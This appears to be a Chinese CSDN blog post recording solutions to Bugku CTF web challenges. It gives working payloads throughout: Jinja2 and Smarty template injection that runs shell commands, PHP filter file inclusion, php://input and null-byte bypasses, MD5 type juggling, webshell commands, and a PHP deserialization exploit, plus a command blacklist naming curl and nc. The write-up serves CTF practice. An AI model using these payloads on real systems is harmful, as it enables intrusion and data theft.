2021-BUGKU-做题记录-WEB

最新推荐文章于 2024-07-30 19:21:43 发布
最新推荐文章于 2024-07-30 19:21:43 发布
阅读量1.5k 收藏 5
点赞数
分类专栏： 做题记录 文章标签： unctf
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_38131137/article/details/118310621
版权

目录

1、Simple_SSTI_1

在这里插入图片描述
进行判断 {{2*'7'}}=77
那么就是jinjia2的注入模板
先进行第一步尝试

{{[].__class__.__base__.__subclasses__()}}

查找在这里插入图片描述
判断其位于177为
在这里插入图片描述
但是往下走不通了，需要另辟道路
想了半天，就直接config吧
好吧，直接出来了
在这里插入图片描述
ps：自己想复杂了

2、Simple_SSTI_2

在这里插入图片描述
一样，{{[].__class__.__base__.__subclasses__()[177].__init__.func_globals.keys()}}
走不通
那么继续config吧
在这里插入图片描述
继续走不通，哎找找jinja的万能模板看看
发现还是得走{{[].__class__.__base__.__subclasses__()[177].__init__.func_globals.keys()}}这条路，但是可以万能编码直接运行

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("env").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

在这里插入图片描述

3、待定

4、滑稽

在这里插入图片描述

view-source:

在这里插入图片描述

5、计算器

在这里插入图片描述
两种方案：
（1）直接修改输入限制
在这里插入图片描述
在这里插入图片描述
（2）直接抓包POST输入

6、GET

在这里插入图片描述
没什么好说的

7、POST

在这里插入图片描述
post包传输一下

8、矛盾

在这里插入图片描述
传输进去的参数num不能是数字，但是又要赋值为1
这里就要去查看is_numberic这个函数的漏控
两种方案：

（1）num=1a
 (2) num=1=1|1

9、alert

疯狂弹窗
那么就简单了
把js关掉
查看源代码
在这里插入图片描述
在这里插入图片描述
html编码，直接就用burpsuite进行解密

10、你必须让他停下

疯狂的重定向，那么就简单了
在这里插入图片描述
抓包放包就好了

11、社工-初步收集 待定

12、game1

在这里插入图片描述
看看反向包的传参
那么就可以直接看出来

http://114.67.246.176:11983/score.php?score=25&ip=222.76.243.167&sign=zMMjU===

分数是25分，后面那一串还看不出规律，多叠一层看看
在这里插入图片描述
那么后面那串参数可能是叠的楼层几层的说法
那么就base64继续看看,发现也不对，那么是分数的意思？再看看
发现这里面还挺有意思
sign=zM+base64(分数)+’==’
构造一个大分数
在这里插入图片描述

13、黑客

在这里插入图片描述
然后需要输入密码 爆破一下
在这里插入图片描述

14、本地管理员

在这里插入图片描述
登陆密码在源代码里
主要思路：xff
在这里插入图片描述

15、eval

在这里插入图片描述

var_dump(file('flag.php'))

https://blog.csdn.net/fastergohome/article/details/102514264

16、变量1

在这里插入图片描述
这边就很微妙了
有了这个eval("var_dump($$args);")
处理一下，让他成为 var_dump($GLOBALS)

?args=GLOBALS

17、头等舱

在这里插入图片描述
直接看头部信息

18、待定

19、待定

20、源代码

源代码
在这里插入图片描述
发现是js加密，那么就浏览器就可以解密了
在这里插入图片描述
拼接起来
在这里插入图片描述
将其输入框内即可。

21、文件包含

在这里插入图片描述
直接源码展示

?file=php://filter/read=convert.base64-encode/resource=index.php

答案就出来了

22、好像需要密码

在这里插入图片描述

23、备份是个好习惯

直接index.php.bak

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}

主要是有替换，那么就直接构造
在这里插入图片描述

24、No one knows regex better than me 待定

25、cookie欺骗

http://114.67.246.176:18954/index.php?line=&filename=a2V5cy50eHQ=

这里filename就是base64的文件名
line就是行数
那么简单了，index.php，然后再写脚本进行输出

import requests
for i in range(1,50):
    url = 'http://114.67.246.176:18954/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
    res = requests.get(url)
    print(res.text)

直接看到源代码

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);



if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}



if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

直接就是抓包
Cookie:margin=margin
还有base64(keys.php)

26、never_give_up 待定

这题要着重讲一下
第一个雷区
在这里插入图片描述
这个会重定向，那么bp又抓不到，第一个点，就是关闭js。
在这里插入图片描述
第二个点，这个url和base64的解密，用bp时最好用的（真的神器）
在这里插入图片描述
代码：

<!--";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}


?>-->"

这里面的几个注意点
1、file_get_contents 用php://input
2、eregi 这个用%00截断
3、id不能空和0，这个真的台鸡贼了
在这里插入图片描述

?id=aa&b=%00abcdef&a=php://input

27、shell

在这里插入图片描述
这边已经有木马了，那么就简单了

?s=system('ls')
?s=system('cat flaga15808abee46a1d5.txt')

28、成绩查询 待定

29、秋名山车神

在这里插入图片描述
这道题就是要用脚本跑数字，然后就可以直接传参
这里面就有第一个点，传参的参数是什么，那么就是多刷新了
在这里插入图片描述
知道传value的参数，那么就是写代码了

import requests
import os
import re
import json
session = requests.session()
url = 'http://114.67.246.176:12448/'
res = session.get(url).text
res_one = re.findall('<div>(.*?)</div>',res)
res_two = str(res_one)
res_three =res_two[2:-5]
res_four = eval(res_three)
value = res_four
data={
    'value':res_four
}
#data=json.dumps(data)
res_five = session.post(url,data=data).text
print(res_five)
print(res_four)

这里面的代码我也是多次调试，这里写几点注意事项

1、要用session保持会话，那么就是保证第一时间传参
2、eval的数字要str化
3、传参用data

30、聪明的php

在这里插入图片描述
smarty模板注入，那么就换一下过滤函数，一切就很简单了

?flag={{passthru('ls /')}}
?flag={{passthru('tac _6742')}}

这里就是要注意一点，多看看源代码

31、xxx二手交易市场 待定

32、冬至红包

在这里插入图片描述
代码分析一下，那么就是
长度绕过和过滤词绕过，最后再来一个判断，那么一步一步来

flag=return'270bd8044df4f08635abced6ce1d9e553b8fe5505f';

计算下长度
在这里插入图片描述
长度49
那么接下来就是绕过关键词和对比

主要从后面的sha1对比，没办法对比，那么就直接在eval就输出把，eval(echo flag)
接下来就是构建了，这里面又短标签绕过，两个关键信息?>和<?=$a =?>
构建一下

flag=$a=blag;$a{0}=f?>11111111111111111111111<?=$$a%20?>

在这里插入图片描述

33、sodirty

34、字符？正则？

在这里插入图片描述
看代码，就是要匹配正则

/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i

分析一下

key+(.?)+key+.{4,7}+key:+/.+/+(.?)+key+[a-z]+标点符号/省略大小写

比如：key1key1111key:/./akeya?
在这里插入图片描述

35、前女友

看提示，查看源代码，可以看到源代码

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

这个就很常见了，前面的v1和v2很好处理，数组或者碰撞都可以
v3不要陷入盲区，v3==flag时是0，所以用上！时才是要的答案，这里面就是要v3=flag,那么很简单了，v3用成数组形式，这题就解决了，那么构造下函数

?v1=240610708&v2=s878926199a&v3[]=2

36、 login1

登陆注册界面，可以考虑下约束攻击
注册时的时候
账号
admin 1
密码
Aa123456
注册成功后，用admin登陆，就可以知道flag了
在这里插入图片描述

37、你从哪里来

看看题目
在这里插入图片描述
立马想到referer
试试看
在这里插入图片描述
成功了

38、MD5

在这里插入图片描述
说实话，这题很没用水平，输入a然后源代码没有给，谁知道要干么
然后呢，试了一下0e就成功了，没啥好做的

40、程序员本地网站

这题也很没有水平
在这里插入图片描述
本地访问，那么就是X-Forwarded-For:127.0.0.1
在这里插入图片描述

41、各种绕过哟

熟悉了套路也就没什么好做的了
在这里插入图片描述

GET:uname[]=123&id=margin
POST:passwd[]=221

在这里插入图片描述

42、file_get_contents

在这里插入图片描述
主要的解题思路在file_get_contents这里
使用php://input绕过

get:?ac=1&fn=php://input
post:1

在这里插入图片描述

43、安慰奖

在这里插入图片描述
base64一下，backups，就是备份的意思，试一下index.php.bak，得到源代码

<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗？<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧，hhh！</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

核心宗旨就四点
一、序列化
二、有__wakeup干扰
三、username === 'admin'
四、/cat|more|tail|less|head|curl|nc|strings|sort|echo/i过滤
实现：
一、反序列化
二、__wakeup绕过
三、先ls试水
四、protected乱码补充 %00*%00
先ls试水

<?php
class ctf
{
    protected  $username='admin' ;
    protected  $cmd ='ls';
}
$a = new ctf();

$b = serialize($a);
echo $b;
?>

而后用tac直接上tac flag.php
在这里插入图片描述

44、文件上传 待定

45、decrype 待定

46、文件包含2 待定

47、需要管理员

这题就很无语
先看看robots.txt或者扫描一下
接下来就是
在这里插入图片描述
弱口令爆破一下，还以为需要XFF，结果都不要
直接x=admin 确实莫名其妙
在这里插入图片描述

weixin_38131137
关注
专栏目录
bugku-writeup-web-好像需要密码
dark的博客
06-15 1072
“bugku-web15解题思路记录。” 题目：好像需要密码
BugkuCTF-WEB-第43题到第52题
Alita_lxz的博客
11-04 1196
BugkuCTF-WEB-第43题到第52题
web留言板
06-06
Web留言板 (0分) 设计一个简单的基于Web的留言板，要求如下：1）系统中所有页面，如果用户没登录，则让用户返回到登录页面login.jsp（说明：login.jsp页面填写用户的用户名和密码）；2）留言板（message.jsp）页面中以表格的形式（留言者用户名、留言标题、留言时间）显示出所有的用户留言，点击一个标题后，可以在新页面（showmessage.jsp）中显示留言的内容；3）在留言页面addMessage.jsp可以添加新的留言。留言包括：标题、内容。 说明：（1）采用JSP+JavaBean结构；（2）所有的留言内容需要存储到文件。
bugku-web-留言板
m0_57954651的博客
10-31 5024
获取cookie的js代码 （alert(document.cookie)）
BugKu:留言板
最新发布
m0_63944205的博客
07-30 236
看到输入框我们首先想到可能是sql注入或者是xss注入。
BUGKU-WEB 留言板1
天泽岁月
02-18 1393
BUGKU-WEB 留言板1，xss双写绕过
BUGKU-WEB 留言板
天泽岁月
02-07 1302
BUGKU-WEB 留言板
Bugku-web-留言板
qq_68457525的博客
06-20 403
ctf中关于xss跨站脚本漏洞的学习
Bugkuweb系列题记录
qq_51558360的博客
04-20 901
web1 打开场景，按F12查看源代码 web2 打开是一个计算器，但是只能输入一个数字。打开源码修改长度 输入结果就得flag web3 $what=$_GET['what']; echo $what; if($what=='flag') echo 'flag{****}'; web4 法一：hackbar传参 法二：构造表单 <form action="/post/" method="post"> <input type="text" name="what"> &l
CTF|BugkuCTF-WEB解题思路
这里是一处长期不更新的博客
06-15 1981
截止至练习题【login4】，仅提供解题思路。 WEB2 按F12直接可得flag 计算器： 直接按F12，将maxlength修改，输入正确结果即可得到flag web基础$_GET URL输入：http://123.206.87.240:8002/get/?what=flag web基础$_POST 使用hackbar工具，按F12，打开Post data，传递what=flag。 矛盾 这里是使用is_numeric遇到%00截断的漏洞,这里构造 http://120.24.86.145:8002.
web做题记录(buuoj,jarvis,攻防世界,bugku，hackme)
CJB6988125的博客
11-19 1万+
web做题笔记 buuoj easy_tornado tornado是一个python写的web服务器 读取文件hint.txt:md5(cookie_secret+md5(filename)) 我们只要找到cookie_secret 就能读取任意文件 直接搜cve:找到一个\r\n分割请求的。。好像搞不到cookie_secret 找到error?msg=Error模板注入??? {{1.}}出...
爬虫笔记-Bugku秋名山老司机（入门）
12-21
记一次python爬虫笔记 题目：bugku-秋名山老司机 题目要求：两秒内提交一道很长的计算题答案，并且式子每次刷新都会变动 如： 多刷新几次可见题目提示，需要用post传入值，变量名为value 创建py文件，导入 requests 库和 re 库 并且创建一个会话对象，用它发送一个get请求 # requests库用于发送请求 # re库用于匹配正则表达式 import requests import re # requests.session() 维持会话 s = requests.session() r = s.get("http://192.168.4.243:1035/")
BUGKU 留言板
热门推荐
qq_56313338的博客
07-22 2万+
bugku 留言板的解题思路 web
Bugku——web
chongya927的博客
03-05 1485
菜鸟学习CTF之路
bugkuCTF
Vincent0sen的博客
10-26 488
有时间再说，持续更新。
Bugku-留言板
qq_56611811的博客
05-07 823
1.提示我们用xss平台接收flag2.通过xss.pt平台生成脚本，以插入图片形式将图片地址上传 3.回到xss平台可以看到接收到flag4.URL解码一下，拿到flag
程序员常用的 12 个顶级 Bug 跟踪工具
weixin_38754349的博客
09-28 405
点击下方“逆锋起笔”，公众号回复编程资源领取大佬们推荐的学习资料 作者 | Eugene Stepnov译者 | 张健欣策划 | Tina在如今的在线世界，几乎所有的公司都面临它们产品...
攻防世界web进阶区刷题记录(1)
bmth666的博客
03-27 4729
文章目录webbaby_webTraining-WWW-Robotsphp_rceWeb_php_include方法1方法2方法3warmupNewsCenter web baby_web 提示是：想想初始页面是哪个 进入是一个hello world，然后就没有了，由于提示试试抓包，得到flag Training-WWW-Robots 由于提示我们就查看robots.txt 获得flag p...
bugku chatgpt-1
10-09
ChatGPT是一种由OpenAI训练的大型语言模型。它的原理是基于Transformer架构，通过预训练大量文本数据来学习如何生成人类可读的文本，然后通过接受输入并生成输出来实现对话。 ChatGPT的用途非常广泛，可以用于自然语言处理（NLP）任务，如对话生成、问答系统、文本生成等。 如果你想使用ChatGPT，你可以用它来构建对话机器人，回答问题，生成文本等。它的应用非常广泛，可以用于各种场景，如客服、帮助提供者、教育机构等。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值